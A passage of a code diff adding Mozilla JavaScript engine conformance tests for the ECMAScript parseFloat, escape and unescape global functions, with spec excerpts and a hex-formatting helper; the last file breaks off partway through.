+new TestCase( SECTION, "parseFloat(0X9)", 9, parseFloat(0X9));
+new TestCase( SECTION, "parseFloat(0Xa)", 10, parseFloat(0Xa));
+new TestCase( SECTION, "parseFloat(0Xb)", 11, parseFloat(0Xb));
+new TestCase( SECTION, "parseFloat(0Xc)", 12, parseFloat(0Xc));
+new TestCase( SECTION, "parseFloat(0Xd)", 13, parseFloat(0Xd));
+new TestCase( SECTION, "parseFloat(0Xe)", 14, parseFloat(0Xe));
+new TestCase( SECTION, "parseFloat(0Xf)", 15, parseFloat(0Xf));
+new TestCase( SECTION, "parseFloat(0XA)", 10, parseFloat(0XA));
+new TestCase( SECTION, "parseFloat(0XB)", 11, parseFloat(0XB));
+new TestCase( SECTION, "parseFloat(0XC)", 12, parseFloat(0XC));
+new TestCase( SECTION, "parseFloat(0XD)", 13, parseFloat(0XD));
+new TestCase( SECTION, "parseFloat(0XE)", 14, parseFloat(0XE));
+new TestCase( SECTION, "parseFloat(0XF)", 15, parseFloat(0XF));
+
+
+// A StringNumericLiteral may not use octal notation
+
+new TestCase( SECTION, "parseFloat('00')", 0, parseFloat("00"));
+new TestCase( SECTION, "parseFloat('01')", 1, parseFloat("01"));
+new TestCase( SECTION, "parseFloat('02')", 2, parseFloat("02"));
+new TestCase( SECTION, "parseFloat('03')", 3, parseFloat("03"));
+new TestCase( SECTION, "parseFloat('04')", 4, parseFloat("04"));
+new TestCase( SECTION, "parseFloat('05')", 5, parseFloat("05"));
+new TestCase( SECTION, "parseFloat('06')", 6, parseFloat("06"));
+new TestCase( SECTION, "parseFloat('07')", 7, parseFloat("07"));
+new TestCase( SECTION, "parseFloat('010')", 10, parseFloat("010"));
+new TestCase( SECTION, "parseFloat('011')", 11, parseFloat("011"));
+
+// A StringNumericLIteral may have any number of leading 0 digits
+
+new TestCase( SECTION, "parseFloat('001')", 1, parseFloat("001"));
+new TestCase( SECTION, "parseFloat('0001')", 1, parseFloat("0001"));
+new TestCase( SECTION, "parseFloat(' 0001 ')", 1, parseFloat(" 0001 "));
+
+// an octal numeric literal should be treated as an octal
+
+new TestCase( SECTION, "parseFloat(00)", 0, parseFloat(00));
+new TestCase( SECTION, "parseFloat(01)", 1, parseFloat(01));
+new TestCase( SECTION, "parseFloat(02)", 2, parseFloat(02));
+new TestCase( SECTION, "parseFloat(03)", 3, parseFloat(03));
+new TestCase( SECTION, "parseFloat(04)", 4, parseFloat(04));
+new TestCase( SECTION, "parseFloat(05)", 5, parseFloat(05));
+new TestCase( SECTION, "parseFloat(06)", 6, parseFloat(06));
+new TestCase( SECTION, "parseFloat(07)", 7, parseFloat(07));
+new TestCase( SECTION, "parseFloat(010)", 8, parseFloat(010));
+new TestCase( SECTION, "parseFloat(011)", 9, parseFloat(011));
+
+// A StringNumericLIteral may have any number of leading 0 digits
+
+new TestCase( SECTION, "parseFloat(001)", 1, parseFloat(001));
+new TestCase( SECTION, "parseFloat(0001)", 1, parseFloat(0001));
+
+// make sure it's reflexive
+new TestCase( SECTION, "parseFloat(Math.PI)", Math.PI, parseFloat(Math.PI));
+new TestCase( SECTION, "parseFloat(Math.LN2)", Math.LN2, parseFloat(Math.LN2));
+new TestCase( SECTION, "parseFloat(Math.LN10)", Math.LN10, parseFloat(Math.LN10));
+new TestCase( SECTION, "parseFloat(Math.LOG2E)", Math.LOG2E, parseFloat(Math.LOG2E));
+new TestCase( SECTION, "parseFloat(Math.LOG10E)", Math.LOG10E, parseFloat(Math.LOG10E));
+new TestCase( SECTION, "parseFloat(Math.SQRT2)", Math.SQRT2, parseFloat(Math.SQRT2));
+new TestCase( SECTION, "parseFloat(Math.SQRT1_2)", Math.SQRT1_2, parseFloat(Math.SQRT1_2));
+
+new TestCase( SECTION, "parseFloat(Math.PI+'')", Math.PI, parseFloat(Math.PI+''));
+new TestCase( SECTION, "parseFloat(Math.LN2+'')", Math.LN2, parseFloat(Math.LN2+''));
+new TestCase( SECTION, "parseFloat(Math.LN10+'')", Math.LN10, parseFloat(Math.LN10+''));
+new TestCase( SECTION, "parseFloat(Math.LOG2E+'')", Math.LOG2E, parseFloat(Math.LOG2E+''));
+new TestCase( SECTION, "parseFloat(Math.LOG10E+'')", Math.LOG10E, parseFloat(Math.LOG10E+''));
+new TestCase( SECTION, "parseFloat(Math.SQRT2+'')", Math.SQRT2, parseFloat(Math.SQRT2+''));
+new TestCase( SECTION, "parseFloat(Math.SQRT1_2+'')", Math.SQRT1_2, parseFloat(Math.SQRT1_2+''));
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.3-2.js b/js/src/tests/ecma/GlobalObject/15.1.2.3-2.js
new file mode 100644
index 000000000..456c18aa9
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.3-2.js
@@ -0,0 +1,257 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.3-2.js
+ ECMA Section: 15.1.2.3 Function properties of the global object:
+ parseFloat( string )
+
+ Description: The parseFloat function produces a number value dictated
+ by the interpretation of the contents of the string
+ argument defined as a decimal literal.
+
+ When the parseFloat function is called, the following
+ steps are taken:
+
+ 1. Call ToString( string ).
+ 2. Remove leading whitespace Result(1).
+ 3. If neither Result(2) nor any prefix of Result(2)
+ satisfies the syntax of a StrDecimalLiteral,
+ return NaN.
+ 4. Compute the longest prefix of Result(2) which might
+ be Resusult(2) itself, that satisfies the syntax of
+ a StrDecimalLiteral
+ 5. Return the number value for the MV of Result(4).
+
+ Note that parseFloate may interpret only a leading
+ portion of the string as a number value; it ignores any
+ characters that cannot be interpreted as part of the
+ notation of a decimal literal, and no indication is given
+ that such characters were ignored.
+
+ StrDecimalLiteral::
+ Infinity
+ DecimalDigits.DecimalDigits opt ExponentPart opt
+ .DecimalDigits ExponentPart opt
+ DecimalDigits ExponentPart opt
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.3-2";
+var VERSION = "ECMA_1";
+startTest();
+
+var BUGNUMBER="none";
+
+new TestCase( SECTION, "parseFloat(true)", Number.NaN, parseFloat(true) );
+new TestCase( SECTION, "parseFloat(false)", Number.NaN, parseFloat(false) );
+new TestCase( SECTION, "parseFloat('string')", Number.NaN, parseFloat("string") );
+
+new TestCase( SECTION, "parseFloat(' Infinity')", Number.POSITIVE_INFINITY, parseFloat("Infinity") );
+// new TestCase( SECTION, "parseFloat(Infinity)", Number.POSITIVE_INFINITY, parseFloat(Infinity) );
+
+new TestCase( SECTION, "parseFloat(' 0')", 0, parseFloat(" 0") );
+new TestCase( SECTION, "parseFloat(' -0')", -0, parseFloat(" -0") );
+new TestCase( SECTION, "parseFloat(' +0')", 0, parseFloat(" +0") );
+
+new TestCase( SECTION, "parseFloat(' 1')", 1, parseFloat(" 1") );
+new TestCase( SECTION, "parseFloat(' -1')", -1, parseFloat(" -1") );
+new TestCase( SECTION, "parseFloat(' +1')", 1, parseFloat(" +1") );
+
+new TestCase( SECTION, "parseFloat(' 2')", 2, parseFloat(" 2") );
+new TestCase( SECTION, "parseFloat(' -2')", -2, parseFloat(" -2") );
+new TestCase( SECTION, "parseFloat(' +2')", 2, parseFloat(" +2") );
+
+new TestCase( SECTION, "parseFloat(' 3')", 3, parseFloat(" 3") );
+new TestCase( SECTION, "parseFloat(' -3')", -3, parseFloat(" -3") );
+new TestCase( SECTION, "parseFloat(' +3')", 3, parseFloat(" +3") );
+
+new TestCase( SECTION, "parseFloat(' 4')", 4, parseFloat(" 4") );
+new TestCase( SECTION, "parseFloat(' -4')", -4, parseFloat(" -4") );
+new TestCase( SECTION, "parseFloat(' +4')", 4, parseFloat(" +4") );
+
+new TestCase( SECTION, "parseFloat(' 5')", 5, parseFloat(" 5") );
+new TestCase( SECTION, "parseFloat(' -5')", -5, parseFloat(" -5") );
+new TestCase( SECTION, "parseFloat(' +5')", 5, parseFloat(" +5") );
+
+new TestCase( SECTION, "parseFloat(' 6')", 6, parseFloat(" 6") );
+new TestCase( SECTION, "parseFloat(' -6')", -6, parseFloat(" -6") );
+new TestCase( SECTION, "parseFloat(' +6')", 6, parseFloat(" +6") );
+
+new TestCase( SECTION, "parseFloat(' 7')", 7, parseFloat(" 7") );
+new TestCase( SECTION, "parseFloat(' -7')", -7, parseFloat(" -7") );
+new TestCase( SECTION, "parseFloat(' +7')", 7, parseFloat(" +7") );
+
+new TestCase( SECTION, "parseFloat(' 8')", 8, parseFloat(" 8") );
+new TestCase( SECTION, "parseFloat(' -8')", -8, parseFloat(" -8") );
+new TestCase( SECTION, "parseFloat(' +8')", 8, parseFloat(" +8") );
+
+new TestCase( SECTION, "parseFloat(' 9')", 9, parseFloat(" 9") );
+new TestCase( SECTION, "parseFloat(' -9')", -9, parseFloat(" -9") );
+new TestCase( SECTION, "parseFloat(' +9')", 9, parseFloat(" +9") );
+
+new TestCase( SECTION, "parseFloat(' 3.14159')", 3.14159, parseFloat(" 3.14159") );
+new TestCase( SECTION, "parseFloat(' -3.14159')", -3.14159, parseFloat(" -3.14159") );
+new TestCase( SECTION, "parseFloat(' +3.14159')", 3.14159, parseFloat(" +3.14159") );
+
+new TestCase( SECTION, "parseFloat(' 3.')", 3, parseFloat(" 3.") );
+new TestCase( SECTION, "parseFloat(' -3.')", -3, parseFloat(" -3.") );
+new TestCase( SECTION, "parseFloat(' +3.')", 3, parseFloat(" +3.") );
+
+new TestCase( SECTION, "parseFloat(' 3.e1')", 30, parseFloat(" 3.e1") );
+new TestCase( SECTION, "parseFloat(' -3.e1')", -30, parseFloat(" -3.e1") );
+new TestCase( SECTION, "parseFloat(' +3.e1')", 30, parseFloat(" +3.e1") );
+
+new TestCase( SECTION, "parseFloat(' 3.e+1')", 30, parseFloat(" 3.e+1") );
+new TestCase( SECTION, "parseFloat(' -3.e+1')", -30, parseFloat(" -3.e+1") );
+new TestCase( SECTION, "parseFloat(' +3.e+1')", 30, parseFloat(" +3.e+1") );
+
+new TestCase( SECTION, "parseFloat(' 3.e-1')", .30, parseFloat(" 3.e-1") );
+new TestCase( SECTION, "parseFloat(' -3.e-1')", -.30, parseFloat(" -3.e-1") );
+new TestCase( SECTION, "parseFloat(' +3.e-1')", .30, parseFloat(" +3.e-1") );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat(' .00001')", 0.00001, parseFloat(" .00001") );
+new TestCase( SECTION, "parseFloat(' +.00001')", 0.00001, parseFloat(" +.00001") );
+new TestCase( SECTION, "parseFloat(' -0.0001')", -0.00001, parseFloat(" -.00001") );
+
+new TestCase( SECTION, "parseFloat(' .01e2')", 1, parseFloat(" .01e2") );
+new TestCase( SECTION, "parseFloat(' +.01e2')", 1, parseFloat(" +.01e2") );
+new TestCase( SECTION, "parseFloat(' -.01e2')", -1, parseFloat(" -.01e2") );
+
+new TestCase( SECTION, "parseFloat(' .01e+2')", 1, parseFloat(" .01e+2") );
+new TestCase( SECTION, "parseFloat(' +.01e+2')", 1, parseFloat(" +.01e+2") );
+new TestCase( SECTION, "parseFloat(' -.01e+2')", -1, parseFloat(" -.01e+2") );
+
+new TestCase( SECTION, "parseFloat(' .01e-2')", 0.0001, parseFloat(" .01e-2") );
+new TestCase( SECTION, "parseFloat(' +.01e-2')", 0.0001, parseFloat(" +.01e-2") );
+new TestCase( SECTION, "parseFloat(' -.01e-2')", -0.0001, parseFloat(" -.01e-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "parseFloat(' 1234e5')", 123400000, parseFloat(" 1234e5") );
+new TestCase( SECTION, "parseFloat(' +1234e5')", 123400000, parseFloat(" +1234e5") );
+new TestCase( SECTION, "parseFloat(' -1234e5')", -123400000, parseFloat(" -1234e5") );
+
+new TestCase( SECTION, "parseFloat(' 1234e+5')", 123400000, parseFloat(" 1234e+5") );
+new TestCase( SECTION, "parseFloat(' +1234e+5')", 123400000, parseFloat(" +1234e+5") );
+new TestCase( SECTION, "parseFloat(' -1234e+5')", -123400000, parseFloat(" -1234e+5") );
+
+new TestCase( SECTION, "parseFloat(' 1234e-5')", 0.01234, parseFloat(" 1234e-5") );
+new TestCase( SECTION, "parseFloat(' +1234e-5')", 0.01234, parseFloat(" +1234e-5") );
+new TestCase( SECTION, "parseFloat(' -1234e-5')", -0.01234, parseFloat(" -1234e-5") );
+
+
+new TestCase( SECTION, "parseFloat(' .01E2')", 1, parseFloat(" .01E2") );
+new TestCase( SECTION, "parseFloat(' +.01E2')", 1, parseFloat(" +.01E2") );
+new TestCase( SECTION, "parseFloat(' -.01E2')", -1, parseFloat(" -.01E2") );
+
+new TestCase( SECTION, "parseFloat(' .01E+2')", 1, parseFloat(" .01E+2") );
+new TestCase( SECTION, "parseFloat(' +.01E+2')", 1, parseFloat(" +.01E+2") );
+new TestCase( SECTION, "parseFloat(' -.01E+2')", -1, parseFloat(" -.01E+2") );
+
+new TestCase( SECTION, "parseFloat(' .01E-2')", 0.0001, parseFloat(" .01E-2") );
+new TestCase( SECTION, "parseFloat(' +.01E-2')", 0.0001, parseFloat(" +.01E-2") );
+new TestCase( SECTION, "parseFloat(' -.01E-2')", -0.0001, parseFloat(" -.01E-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+new TestCase( SECTION, "parseFloat(' 1234E5')", 123400000, parseFloat(" 1234E5") );
+new TestCase( SECTION, "parseFloat(' +1234E5')", 123400000, parseFloat(" +1234E5") );
+new TestCase( SECTION, "parseFloat(' -1234E5')", -123400000, parseFloat(" -1234E5") );
+
+new TestCase( SECTION, "parseFloat(' 1234E+5')", 123400000, parseFloat(" 1234E+5") );
+new TestCase( SECTION, "parseFloat(' +1234E+5')", 123400000, parseFloat(" +1234E+5") );
+new TestCase( SECTION, "parseFloat(' -1234E+5')", -123400000, parseFloat(" -1234E+5") );
+
+new TestCase( SECTION, "parseFloat(' 1234E-5')", 0.01234, parseFloat(" 1234E-5") );
+new TestCase( SECTION, "parseFloat(' +1234E-5')", 0.01234, parseFloat(" +1234E-5") );
+new TestCase( SECTION, "parseFloat(' -1234E-5')", -0.01234, parseFloat(" -1234E-5") );
+
+
+// hex cases should all return NaN
+
+new TestCase( SECTION, "parseFloat(' 0x0')", 0, parseFloat(" 0x0"));
+new TestCase( SECTION, "parseFloat(' 0x1')", 0, parseFloat(" 0x1"));
+new TestCase( SECTION, "parseFloat(' 0x2')", 0, parseFloat(" 0x2"));
+new TestCase( SECTION, "parseFloat(' 0x3')", 0, parseFloat(" 0x3"));
+new TestCase( SECTION, "parseFloat(' 0x4')", 0, parseFloat(" 0x4"));
+new TestCase( SECTION, "parseFloat(' 0x5')", 0, parseFloat(" 0x5"));
+new TestCase( SECTION, "parseFloat(' 0x6')", 0, parseFloat(" 0x6"));
+new TestCase( SECTION, "parseFloat(' 0x7')", 0, parseFloat(" 0x7"));
+new TestCase( SECTION, "parseFloat(' 0x8')", 0, parseFloat(" 0x8"));
+new TestCase( SECTION, "parseFloat(' 0x9')", 0, parseFloat(" 0x9"));
+new TestCase( SECTION, "parseFloat(' 0xa')", 0, parseFloat(" 0xa"));
+new TestCase( SECTION, "parseFloat(' 0xb')", 0, parseFloat(" 0xb"));
+new TestCase( SECTION, "parseFloat(' 0xc')", 0, parseFloat(" 0xc"));
+new TestCase( SECTION, "parseFloat(' 0xd')", 0, parseFloat(" 0xd"));
+new TestCase( SECTION, "parseFloat(' 0xe')", 0, parseFloat(" 0xe"));
+new TestCase( SECTION, "parseFloat(' 0xf')", 0, parseFloat(" 0xf"));
+new TestCase( SECTION, "parseFloat(' 0xA')", 0, parseFloat(" 0xA"));
+new TestCase( SECTION, "parseFloat(' 0xB')", 0, parseFloat(" 0xB"));
+new TestCase( SECTION, "parseFloat(' 0xC')", 0, parseFloat(" 0xC"));
+new TestCase( SECTION, "parseFloat(' 0xD')", 0, parseFloat(" 0xD"));
+new TestCase( SECTION, "parseFloat(' 0xE')", 0, parseFloat(" 0xE"));
+new TestCase( SECTION, "parseFloat(' 0xF')", 0, parseFloat(" 0xF"));
+
+new TestCase( SECTION, "parseFloat(' 0X0')", 0, parseFloat(" 0X0"));
+new TestCase( SECTION, "parseFloat(' 0X1')", 0, parseFloat(" 0X1"));
+new TestCase( SECTION, "parseFloat(' 0X2')", 0, parseFloat(" 0X2"));
+new TestCase( SECTION, "parseFloat(' 0X3')", 0, parseFloat(" 0X3"));
+new TestCase( SECTION, "parseFloat(' 0X4')", 0, parseFloat(" 0X4"));
+new TestCase( SECTION, "parseFloat(' 0X5')", 0, parseFloat(" 0X5"));
+new TestCase( SECTION, "parseFloat(' 0X6')", 0, parseFloat(" 0X6"));
+new TestCase( SECTION, "parseFloat(' 0X7')", 0, parseFloat(" 0X7"));
+new TestCase( SECTION, "parseFloat(' 0X8')", 0, parseFloat(" 0X8"));
+new TestCase( SECTION, "parseFloat(' 0X9')", 0, parseFloat(" 0X9"));
+new TestCase( SECTION, "parseFloat(' 0Xa')", 0, parseFloat(" 0Xa"));
+new TestCase( SECTION, "parseFloat(' 0Xb')", 0, parseFloat(" 0Xb"));
+new TestCase( SECTION, "parseFloat(' 0Xc')", 0, parseFloat(" 0Xc"));
+new TestCase( SECTION, "parseFloat(' 0Xd')", 0, parseFloat(" 0Xd"));
+new TestCase( SECTION, "parseFloat(' 0Xe')", 0, parseFloat(" 0Xe"));
+new TestCase( SECTION, "parseFloat(' 0Xf')", 0, parseFloat(" 0Xf"));
+new TestCase( SECTION, "parseFloat(' 0XA')", 0, parseFloat(" 0XA"));
+new TestCase( SECTION, "parseFloat(' 0XB')", 0, parseFloat(" 0XB"));
+new TestCase( SECTION, "parseFloat(' 0XC')", 0, parseFloat(" 0XC"));
+new TestCase( SECTION, "parseFloat(' 0XD')", 0, parseFloat(" 0XD"));
+new TestCase( SECTION, "parseFloat(' 0XE')", 0, parseFloat(" 0XE"));
+new TestCase( SECTION, "parseFloat(' 0XF')", 0, parseFloat(" 0XF"));
+
+// A StringNumericLiteral may not use octal notation
+
+new TestCase( SECTION, "parseFloat(' 00')", 0, parseFloat(" 00"));
+new TestCase( SECTION, "parseFloat(' 01')", 1, parseFloat(" 01"));
+new TestCase( SECTION, "parseFloat(' 02')", 2, parseFloat(" 02"));
+new TestCase( SECTION, "parseFloat(' 03')", 3, parseFloat(" 03"));
+new TestCase( SECTION, "parseFloat(' 04')", 4, parseFloat(" 04"));
+new TestCase( SECTION, "parseFloat(' 05')", 5, parseFloat(" 05"));
+new TestCase( SECTION, "parseFloat(' 06')", 6, parseFloat(" 06"));
+new TestCase( SECTION, "parseFloat(' 07')", 7, parseFloat(" 07"));
+new TestCase( SECTION, "parseFloat(' 010')", 10, parseFloat(" 010"));
+new TestCase( SECTION, "parseFloat(' 011')", 11, parseFloat(" 011"));
+
+// A StringNumericLIteral may have any number of leading 0 digits
+
+new TestCase( SECTION, "parseFloat(' 001')", 1, parseFloat(" 001"));
+new TestCase( SECTION, "parseFloat(' 0001')", 1, parseFloat(" 0001"));
+
+// A StringNumericLIteral may have any number of leading 0 digits
+
+new TestCase( SECTION, "parseFloat(001)", 1, parseFloat(001));
+new TestCase( SECTION, "parseFloat(0001)", 1, parseFloat(0001));
+
+// make sure it' s reflexive
+new TestCase( SECTION, "parseFloat( ' ' +Math.PI+' ')", Math.PI, parseFloat( ' ' +Math.PI+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.LN2+' ')", Math.LN2, parseFloat( ' ' +Math.LN2+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.LN10+' ')", Math.LN10, parseFloat( ' ' +Math.LN10+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.LOG2E+' ')", Math.LOG2E, parseFloat( ' ' +Math.LOG2E+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.LOG10E+' ')", Math.LOG10E, parseFloat( ' ' +Math.LOG10E+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.SQRT2+' ')", Math.SQRT2, parseFloat( ' ' +Math.SQRT2+' '));
+new TestCase( SECTION, "parseFloat( ' ' +Math.SQRT1_2+' ')", Math.SQRT1_2, parseFloat( ' ' +Math.SQRT1_2+' '));
+
+test();
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.4.js b/js/src/tests/ecma/GlobalObject/15.1.2.4.js
new file mode 100644
index 000000000..f74622edf
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.4.js
@@ -0,0 +1,169 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.4.js
+ ECMA Section: 15.1.2.4 Function properties of the global object
+ escape( string )
+
+ Description:
+ The escape function computes a new version of a string value in which
+ certain characters have been replaced by a hexadecimal escape sequence.
+ The result thus contains no special characters that might have special
+ meaning within a URL.
+
+ For characters whose Unicode encoding is 0xFF or less, a two-digit
+ escape sequence of the form %xx is used in accordance with RFC1738.
+ For characters whose Unicode encoding is greater than 0xFF, a four-
+ digit escape sequence of the form %uxxxx is used.
+
+ When the escape function is called with one argument string, the
+ following steps are taken:
+
+ 1. Call ToString(string).
+ 2. Compute the number of characters in Result(1).
+ 3. Let R be the empty string.
+ 4. Let k be 0.
+ 5. If k equals Result(2), return R.
+ 6. Get the character at position k within Result(1).
+ 7. If Result(6) is one of the 69 nonblank ASCII characters
+ ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz
+ 0123456789 @*_+-./, go to step 14.
+ 8. Compute the 16-bit unsigned integer that is the Unicode character
+ encoding of Result(6).
+ 9. If Result(8), is less than 256, go to step 12.
+ 10. Let S be a string containing six characters "%uwxyz" where wxyz are
+ four hexadecimal digits encoding the value of Result(8).
+ 11. Go to step 15.
+ 12. Let S be a string containing three characters "%xy" where xy are two
+ hexadecimal digits encoding the value of Result(8).
+ 13. Go to step 15.
+ 14. Let S be a string containing the single character Result(6).
+ 15. Let R be a new string value computed by concatenating the previous value
+ of R and S.
+ 16. Increase k by 1.
+ 17. Go to step 5.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.1.2.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "escape(string)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "escape.length", 1, escape.length );
+new TestCase( SECTION, "escape.length = null; escape.length", 1, eval("escape.length = null; escape.length") );
+new TestCase( SECTION, "var MYPROPS=''; for ( var p in escape ) { MYPROPS+= p}; MYPROPS", "", eval("var MYPROPS=''; for ( var p in escape ) { MYPROPS+= p}; MYPROPS") );
+
+new TestCase( SECTION, "escape()", "undefined", escape() );
+new TestCase( SECTION, "escape('')", "", escape('') );
+new TestCase( SECTION, "escape( null )", "null", escape(null) );
+new TestCase( SECTION, "escape( void 0 )", "undefined", escape(void 0) );
+new TestCase( SECTION, "escape( true )", "true", escape( true ) );
+new TestCase( SECTION, "escape( false )", "false", escape( false ) );
+
+new TestCase( SECTION, "escape( new Boolean(true) )", "true", escape(new Boolean(true)) );
+new TestCase( SECTION, "escape( new Boolean(false) )", "false", escape(new Boolean(false)) );
+
+new TestCase( SECTION, "escape( Number.NaN )", "NaN", escape(Number.NaN) );
+new TestCase( SECTION, "escape( -0 )", "0", escape( -0 ) );
+new TestCase( SECTION, "escape( 'Infinity' )", "Infinity", escape( "Infinity" ) );
+new TestCase( SECTION, "escape( Number.POSITIVE_INFINITY )", "Infinity", escape( Number.POSITIVE_INFINITY ) );
+new TestCase( SECTION, "escape( Number.NEGATIVE_INFINITY )", "-Infinity", escape( Number.NEGATIVE_INFINITY ) );
+
+var ASCII_TEST_STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@*_+-./";
+
+new TestCase( SECTION, "escape( " +ASCII_TEST_STRING+" )", ASCII_TEST_STRING, escape( ASCII_TEST_STRING ) );
+
+// ASCII value less than
+
+for ( var CHARCODE = 0; CHARCODE < 32; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "escape(String.fromCharCode("+CHARCODE+"))",
+ "%"+ToHexString(CHARCODE),
+ escape(String.fromCharCode(CHARCODE)) );
+}
+for ( var CHARCODE = 128; CHARCODE < 256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "escape(String.fromCharCode("+CHARCODE+"))",
+ "%"+ToHexString(CHARCODE),
+ escape(String.fromCharCode(CHARCODE)) );
+}
+
+for ( var CHARCODE = 256; CHARCODE < 1024; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "escape(String.fromCharCode("+CHARCODE+"))",
+ "%u"+ ToUnicodeString(CHARCODE),
+ escape(String.fromCharCode(CHARCODE)) );
+}
+for ( var CHARCODE = 65500; CHARCODE < 65536; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "escape(String.fromCharCode("+CHARCODE+"))",
+ "%u"+ ToUnicodeString(CHARCODE),
+ escape(String.fromCharCode(CHARCODE)) );
+}
+
+test();
+
+function ToUnicodeString( n ) {
+ var string = ToHexString(n);
+
+ for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) {
+ string = "0" + string;
+ }
+
+ return string;
+}
+function ToHexString( n ) {
+ var hex = new Array();
+
+ for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) {
+ ;
+ }
+
+ for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) {
+ hex[index] = Math.floor( n / Math.pow(16,mag) );
+ n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) );
+ }
+
+ hex[hex.length] = n % 16;
+
+ var string ="";
+
+ for ( var index = 0 ; index < hex.length ; index++ ) {
+ switch ( hex[index] ) {
+ case 10:
+ string += "A";
+ break;
+ case 11:
+ string += "B";
+ break;
+ case 12:
+ string += "C";
+ break;
+ case 13:
+ string += "D";
+ break;
+ case 14:
+ string += "E";
+ break;
+ case 15:
+ string += "F";
+ break;
+ default:
+ string += hex[index];
+ }
+ }
+
+ if ( string.length == 1 ) {
+ string = "0" + string;
+ }
+ return string;
+}
diff --git a/js/src/tests/ecma/GlobalObject/15.1.2.5-1.js b/js/src/tests/ecma/GlobalObject/15.1.2.5-1.js
new file mode 100644
index 000000000..3eccdfe88
--- /dev/null
+++ b/js/src/tests/ecma/GlobalObject/15.1.2.5-1.js
@@ -0,0 +1,170 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.1.2.5-1.js
+ ECMA Section: 15.1.2.5 Function properties of the global object
+ unescape( string )
+
+ Description:
+ The unescape function computes a new version of a string value in which
+ each escape sequences of the sort that might be introduced by the escape
+ function is replaced with the character that it represents.
+
+ When the unescape function is called with one argument string, the
+ following steps are taken:
+
+ 1. Call ToString(string).
+ 2. Compute the number of characters in Result(1).
+ 3. Let R be the empty string.
+ 4. Let k be 0.
+ 5. If k equals Result(2), return R.
+ 6. Let c be the character at position k within Result(1).
+ 7. If c is not %, go to step 18.
+ 8. If k is greater than Result(2)-6, go to step 14.
+ 9. If the character at position k+1 within result(1) is not u, go to step
+ 14.
+ 10. If the four characters at positions k+2, k+3, k+4, and k+5 within
+ Result(1) are not all hexadecimal digits, go to step 14.
+ 11. Let c be the character whose Unicode encoding is the integer represented
+ by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5
+ within Result(1).
+ 12. Increase k by 5.
+ 13. Go to step 18.
+ 14. If k is greater than Result(2)-3, go to step 18.
+ 15. If the two characters at positions k+1 and k+2 within Result(1) are not
+ both hexadecimal digits, go to step 18.
+ 16. Let c be the character whose Unicode encoding is the integer represented
+ by two zeroes plus the two hexadecimal digits at positions k+1 and k+2
+ within Result(1).
+ 17. Increase k by 2.
+ 18. Let R be a new string value computed by concatenating the previous value
+ of R and c.
+ 19. Increase k by 1.
+ 20. Go to step 5.
+ Author: christine@netscape.com
+ Date: 28 october 1997
+*/
+
+var SECTION = "15.1.2.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "unescape(string)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "unescape.length", 1, unescape.length );
+new TestCase( SECTION, "unescape.length = null; unescape.length", 1, eval("unescape.length=null; unescape.length") );
+new TestCase( SECTION, "var MYPROPS=''; for ( var p in unescape ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in unescape ) { MYPROPS+= p }; MYPROPS") );
+
+new TestCase( SECTION, "unescape()", "undefined", unescape() );
+new TestCase( SECTION, "unescape('')", "", unescape('') );
+new TestCase( SECTION, "unescape( null )", "null", unescape(null) );
+new TestCase( SECTION, "unescape( void 0 )", "undefined", unescape(void 0) );
+new TestCase( SECTION, "unescape( true )", "true", unescape( true ) );
+new TestCase( SECTION, "unescape( false )", "false", unescape( false ) );
+
+new TestCase( SECTION, "unescape( new Boolean(true) )", "true", unescape(new Boolean(true)) );
+new TestCase( SECTION, "unescape( new Boolean(false) )", "false", unescape(new Boolean(false)) );
+
+new TestCase( SECTION, "unescape( Number.NaN )", "NaN", unescape(Number.NaN) );
+new TestCase( SECTION, "unescape( -0 )", "0", unescape( -0 ) );
+new TestCase( SECTION, "unescape( 'Infinity' )", "Infinity", unescape( "Infinity" ) );
